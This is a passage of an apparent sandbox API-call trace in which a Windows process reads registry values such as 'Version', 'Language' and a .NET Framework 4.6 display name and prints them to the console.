CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.182] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.182] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.183] lstrlenW (lpString="Version") returned 7 [0148.183] __iob_func () returned 0x7fefd702a80 [0148.183] _fileno (_File=0x7fefd702ab0) returned 1 [0148.183] _errno () returned 0xc4bb0 [0148.183] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.183] _errno () returned 0xc4bb0 [0148.183] GetFileType (hFile=0x50) returned 0x1 [0148.183] lstrlenW (lpString="Version") returned 7 [0148.183] GetConsoleOutputCP () returned 0x1b5 [0148.183] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0148.183] GetConsoleOutputCP () returned 0x1b5 [0148.183] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0148.183] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0148.183] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.183] __iob_func () returned 0x7fefd702a80 [0148.183] _fileno (_File=0x7fefd702ab0) returned 1 [0148.183] _errno () returned 0xc4bb0 [0148.183] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.183] _errno () returned 0xc4bb0 [0148.183] GetFileType (hFile=0x50) returned 0x1 [0148.183] lstrlenW (lpString=" ") returned 4 [0148.183] GetConsoleOutputCP () returned 0x1b5 [0148.183] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.184] GetConsoleOutputCP () returned 0x1b5 [0148.184] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.184] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.184] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.184] __iob_func () returned 0x7fefd702a80 [0148.184] _fileno (_File=0x7fefd702ab0) returned 1 [0148.184] _errno () returned 0xc4bb0 [0148.184] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.184] _errno () returned 0xc4bb0 [0148.184] GetFileType (hFile=0x50) returned 0x1 [0148.184] lstrlenW (lpString="REG_DWORD") returned 9 [0148.184] GetConsoleOutputCP () returned 0x1b5 [0148.184] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.184] GetConsoleOutputCP () returned 0x1b5 [0148.184] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.184] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.184] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.184] __iob_func () returned 0x7fefd702a80 [0148.184] _fileno (_File=0x7fefd702ab0) returned 1 [0148.184] _errno () returned 0xc4bb0 [0148.184] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.184] _errno () returned 0xc4bb0 [0148.184] GetFileType (hFile=0x50) returned 0x1 [0148.184] lstrlenW (lpString=" ") returned 4 [0148.185] GetConsoleOutputCP () returned 0x1b5 [0148.185] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.185] GetConsoleOutputCP () returned 0x1b5 [0148.185] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.185] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.185] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.185] __iob_func () returned 0x7fefd702a80 [0148.185] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.185] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x4060051") returned 9 [0148.185] _fileno (_File=0x7fefd702ab0) returned 1 [0148.185] _errno () returned 0xc4bb0 [0148.185] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.185] _errno () returned 0xc4bb0 [0148.185] GetFileType (hFile=0x50) returned 0x1 [0148.185] lstrlenW (lpString="0x4060051") returned 9 [0148.185] GetConsoleOutputCP () returned 0x1b5 [0148.185] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x4060051", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.185] GetConsoleOutputCP () returned 0x1b5 [0148.185] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x4060051", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x4060051", lpUsedDefaultChar=0x0) returned 9 [0148.186] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.186] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.186] __iob_func () returned 0x7fefd702a80 [0148.186] _fileno (_File=0x7fefd702ab0) returned 1 [0148.186] _errno () returned 0xc4bb0 [0148.186] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.186] _errno () returned 0xc4bb0 [0148.186] GetFileType (hFile=0x50) returned 0x1 [0148.186] lstrlenW (lpString="\n") returned 1 [0148.186] GetConsoleOutputCP () returned 0x1b5 [0148.186] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.186] GetConsoleOutputCP () returned 0x1b5 [0148.186] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.186] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.186] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.186] GetProcessHeap () returned 0x2e0000 [0148.186] GetProcessHeap () returned 0x2e0000 [0148.186] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.186] GetProcessHeap () returned 0x2e0000 [0148.186] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.186] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.186] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.186] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.186] GetProcessHeap () returned 0x2e0000 [0148.186] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.187] GetProcessHeap () returned 0x2e0000 [0148.187] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.187] GetProcessHeap () returned 0x2e0000 [0148.187] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.187] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.187] __iob_func () returned 0x7fefd702a80 [0148.187] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.187] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.187] _fileno (_File=0x7fefd702ab0) returned 1 [0148.187] _errno () returned 0xc4bb0 [0148.187] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.187] _errno () returned 0xc4bb0 [0148.187] GetFileType (hFile=0x50) returned 0x1 [0148.187] lstrlenW (lpString=" ") returned 4 [0148.187] GetConsoleOutputCP () returned 0x1b5 [0148.187] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.187] GetConsoleOutputCP () returned 0x1b5 [0148.187] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.187] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.187] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.187] lstrlenW (lpString="Language") returned 8 [0148.187] __iob_func () returned 0x7fefd702a80 [0148.187] _fileno (_File=0x7fefd702ab0) returned 1 [0148.187] _errno () returned 0xc4bb0 [0148.187] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.187] _errno () returned 0xc4bb0 [0148.187] GetFileType (hFile=0x50) returned 0x1 [0148.187] lstrlenW (lpString="Language") returned 8 [0148.188] GetConsoleOutputCP () returned 0x1b5 [0148.188] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.188] GetConsoleOutputCP () returned 0x1b5 [0148.188] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0148.188] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.188] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.188] __iob_func () returned 0x7fefd702a80 [0148.188] _fileno (_File=0x7fefd702ab0) returned 1 [0148.188] _errno () returned 0xc4bb0 [0148.188] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.188] _errno () returned 0xc4bb0 [0148.188] GetFileType (hFile=0x50) returned 0x1 [0148.188] lstrlenW (lpString=" ") returned 4 [0148.188] GetConsoleOutputCP () returned 0x1b5 [0148.188] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.188] GetConsoleOutputCP () returned 0x1b5 [0148.188] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.188] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.188] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.188] __iob_func () returned 0x7fefd702a80 [0148.188] _fileno (_File=0x7fefd702ab0) returned 1 [0148.189] _errno () returned 0xc4bb0 [0148.189] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.189] _errno () returned 0xc4bb0 [0148.189] GetFileType (hFile=0x50) returned 0x1 [0148.189] lstrlenW (lpString="REG_DWORD") returned 9 [0148.189] GetConsoleOutputCP () returned 0x1b5 [0148.189] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.189] GetConsoleOutputCP () returned 0x1b5 [0148.189] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.189] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.189] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.189] __iob_func () returned 0x7fefd702a80 [0148.189] _fileno (_File=0x7fefd702ab0) returned 1 [0148.189] _errno () returned 0xc4bb0 [0148.189] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.189] _errno () returned 0xc4bb0 [0148.189] GetFileType (hFile=0x50) returned 0x1 [0148.189] lstrlenW (lpString=" ") returned 4 [0148.189] GetConsoleOutputCP () returned 0x1b5 [0148.189] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.189] GetConsoleOutputCP () returned 0x1b5 [0148.190] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.190] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.190] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.190] __iob_func () returned 0x7fefd702a80 [0148.190] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.190] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0148.190] _fileno (_File=0x7fefd702ab0) returned 1 [0148.190] _errno () returned 0xc4bb0 [0148.190] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.190] _errno () returned 0xc4bb0 [0148.190] GetFileType (hFile=0x50) returned 0x1 [0148.190] lstrlenW (lpString="0x0") returned 3 [0148.190] GetConsoleOutputCP () returned 0x1b5 [0148.190] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.190] GetConsoleOutputCP () returned 0x1b5 [0148.190] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0148.190] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.190] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.190] __iob_func () returned 0x7fefd702a80 [0148.190] _fileno (_File=0x7fefd702ab0) returned 1 [0148.190] _errno () returned 0xc4bb0 [0148.190] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.190] _errno () returned 0xc4bb0 [0148.190] GetFileType (hFile=0x50) returned 0x1 [0148.190] lstrlenW (lpString="\n") returned 1 [0148.191] GetConsoleOutputCP () returned 0x1b5 [0148.191] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.191] GetConsoleOutputCP () returned 0x1b5 [0148.191] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.191] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.191] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.191] GetProcessHeap () returned 0x2e0000 [0148.191] GetProcessHeap () returned 0x2e0000 [0148.191] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.191] GetProcessHeap () returned 0x2e0000 [0148.191] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.191] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.191] RegEnumValueW (in: hKey=0x5c, dwIndex=0x19, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.191] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x3c) returned 0x0 [0148.191] GetProcessHeap () returned 0x2e0000 [0148.191] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x3e) returned 0x2f9cc0 [0148.191] GetProcessHeap () returned 0x2e0000 [0148.191] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0) returned 1 [0148.191] GetProcessHeap () returned 0x2e0000 [0148.191] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9cc0) returned 0x3e [0148.191] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f9cc0, pcbData=0x23f670*=0x3c | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft .NET Framework 4.6", pcbData=0x23f670*=0x3a) returned 0x0 [0148.191] __iob_func () returned 0x7fefd702a80 [0148.191] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.191] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.191] _fileno (_File=0x7fefd702ab0) returned 1 [0148.191] _errno () returned 0xc4bb0 [0148.191] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.191] _errno () returned 0xc4bb0 [0148.192] GetFileType (hFile=0x50) returned 0x1 [0148.192] lstrlenW (lpString=" ") returned 4 [0148.192] GetConsoleOutputCP () returned 0x1b5 [0148.192] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.192] GetConsoleOutputCP () returned 0x1b5 [0148.192] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.192] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.192] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.192] lstrlenW (lpString="DisplayName") returned 11 [0148.192] __iob_func () returned 0x7fefd702a80 [0148.192] _fileno (_File=0x7fefd702ab0) returned 1 [0148.192] _errno () returned 0xc4bb0 [0148.192] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.192] _errno () returned 0xc4bb0 [0148.192] GetFileType (hFile=0x50) returned 0x1 [0148.192] lstrlenW (lpString="DisplayName") returned 11 [0148.192] GetConsoleOutputCP () returned 0x1b5 [0148.192] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0148.192] GetConsoleOutputCP () returned 0x1b5 [0148.193] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0148.193] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0148.193] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.193] __iob_func () returned 0x7fefd702a80 [0148.193] _fileno (_File=0x7fefd702ab0) returned 1 [0148.193] _errno () returned 0xc4bb0 [0148.193] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.193] _errno () returned 0xc4bb0 [0148.193] GetFileType (hFile=0x50) returned 0x1 [0148.193] lstrlenW (lpString=" ") returned 4 [0148.193] GetConsoleOutputCP () returned 0x1b5 [0148.193] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.193] GetConsoleOutputCP () returned 0x1b5 [0148.193] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.193] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.193] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.193] __iob_func () returned 0x7fefd702a80 [0148.193] _fileno (_File=0x7fefd702ab0) returned 1 [0148.193] _errno () returned 0xc4bb0 [0148.193] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.193] _errno () returned 0xc4bb0 [0148.193] GetFileType (hFile=0x50) returned 0x1 [0148.193] lstrlenW (lpString="REG_SZ") returned 6 [0148.194] GetConsoleOutputCP () returned 0x1b5 [0148.194] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.194] GetConsoleOutputCP () returned 0x1b5 [0148.194] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.194] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.194] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.194] __iob_func () returned 0x7fefd702a80 [0148.194] _fileno (_File=0x7fefd702ab0) returned 1 [0148.194] _errno () returned 0xc4bb0 [0148.194] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.194] _errno () returned 0xc4bb0 [0148.194] GetFileType (hFile=0x50) returned 0x1 [0148.194] lstrlenW (lpString=" ") returned 4 [0148.194] GetConsoleOutputCP () returned 0x1b5 [0148.194] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.194] GetConsoleOutputCP () returned 0x1b5 [0148.194] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.194] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.194] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.194] __iob_func () returned 0x7fefd702a80 [0148.194] _fileno (_File=0x7fefd702ab0) returned 1 [0148.195] _errno () returned 0xc4bb0 [0148.195] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.195] _errno () returned 0xc4bb0 [0148.195] GetFileType (hFile=0x50) returned 0x1 [0148.195] lstrlenW (lpString="Microsoft .NET Framework 4.6") returned 28 [0148.195] GetConsoleOutputCP () returned 0x1b5 [0148.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft .NET Framework 4.6", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0148.195] GetConsoleOutputCP () returned 0x1b5 [0148.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft .NET Framework 4.6", cchWideChar=28, lpMultiByteStr=0xffde2710, 